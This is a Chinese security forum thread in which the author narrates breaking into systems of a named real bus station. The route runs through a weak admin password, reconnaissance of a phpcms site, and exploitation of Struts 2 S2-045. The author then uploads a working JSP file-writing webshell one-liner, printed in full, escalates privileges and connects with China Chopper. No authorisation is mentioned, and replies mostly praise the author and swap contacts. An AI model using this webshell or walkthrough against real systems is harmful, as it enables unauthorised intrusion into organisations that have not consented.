用户
搜索
  • TA的每日心情
    慵懒
    2021-2-9 15:42
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    2

    主题

    27

    帖子

    185

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2021-1-13
    发表于 2021-1-14 10:08:13 1417929
    本帖最后由 白帽子是假的 于 2021-1-14 12:52 编辑

    首先声明,此文章只为记录实战过程和个人绕圈思路,事情起因日常工作中遇到的某车禁系统部署存在的超级管理员弱口令问题,在各种巧合上一步步走下来。首先感谢这位大佬的一句话思路<https://bbs.ichunqiu.com/thread-59729-1-1.html>.为了验证深圳某顺停车系统在部署时会有一个超级管理员账号和弱口令是一个常见问题,利用fofa找到一个为扬州汽车东站的车禁系统,管理员的确没有考虑这个弱口令的问题。

    这个对外的IP地址是云服务器,该系统有数据库资源,但实际搞了一波发现信息泄露不算严重,至少不会有汽车站乘客的个人信息,仅仅包含了车辆门禁使用的车牌等信息。
    1.png
    既然知道是扬州汽车东站这个名称,是不是意味着有官网呢?那么百度试了一下,的确有官网。
    4.png
    正常操作目录走一波,担心会有安全设备,使用的单线程,在后面发现并没有被拦截,包括尝试SQL注入等。
    从此处可以看到网站是由phpcms  v9搭建部署。都2021年了我想这么老的版本会有利用姿势吗?本着不放过一丝机会原则,还是各种尝试走一波。
    5.png
    发现这个厂家运维是针对这些问题做了代码和漏洞的修复,这样的厂家还是挺良心的。
    8.png
    9.png
    几番下来,让我开始打退堂鼓了,第一次实战就要没机会了吗?后台爆破也没有机会的,8次以后我发现锁账户。
    10.png
    干脆休息一会,在主页上找找惊喜,果不然在主页右侧有一个导航栏,点开后有如下资源:
    21.png
    直接分类为内网和外网资源,外网点了几个地址无法访问,那看来是遭受过社会大佬的毒打了。
    最终锁定在智慧客运系统,发现是明文传输和无验证码,准备爆破的,但有一个key加密.突然发现另外一个惊喜,业务系统用了Apache Struts 2中间件。
    11.png
    尝试看是否存在S2的远程执行漏洞,果然是存在一个S2-045,那么可以直接开搞。
    22.png

    后续借用大佬提供的一句话,上传一句话one.jsp;(<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
    然后在提权一波,这里因为可以直接上马,无需转码了。
    23.png
    最后菜刀走一波:
    20.png
    总结:弱口令一定要改,不然很多系统都能爆破,直接可以进去;中间件的高危漏洞尽量都要修复,最后不忘删除木马,交稿走人。当然,在删除JSP文件是否发现很多后门木马了, 应该是被搞过4-5次左右。

    自己的贴子自己占个坑吧,希望各位大佬看到后不要笑喷
    使用道具 举报 回复
    这和弱口令有啥关系
    使用道具 举报 回复
    这个jsp代码是我文章那个吗
    使用道具 举报 回复

    先有弱口令,才知道这个汽车站有官网呀,一步步下来的。
    使用道具 举报 回复
    哪敢奢求爱 发表于 2021-1-14 18:05
    这个jsp代码是我文章那个吗

    是的,膜拜大神,只是菜刀jsp是用的另外一个大神写的免杀jsp。
    使用道具 举报 回复
    白帽子是假的 发表于 2021-1-14 19:08
    是的,膜拜大神,只是菜刀jsp是用的另外一个大神写的免杀jsp。

    我也小白可以一起交流扣917777188
    使用道具 举报 回复
    发表于 2021-1-14 21:50:48
    大佬 带带
    路漫漫,
    使用道具 举报 回复

    你们才是大佬,我是闹着玩的小白。求大佬带着学习新知识。
    使用道具 举报 回复
    哪敢奢求爱 发表于 2021-1-14 19:39
    我也小白可以一起交流扣917777188

    OKOK,一句话挺给力的。
    使用道具 举报 回复
    发表于 2021-1-18 10:39:21
    使用道具 举报 回复
    发表于 2021-1-21 16:11:48
    带上我
    使用道具 举报 回复
    带带带我
    使用道具 举报 回复
    老司机带带我,我要去逛小巷吖
    使用道具 举报 回复
    77777777777777777777777777777777777
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册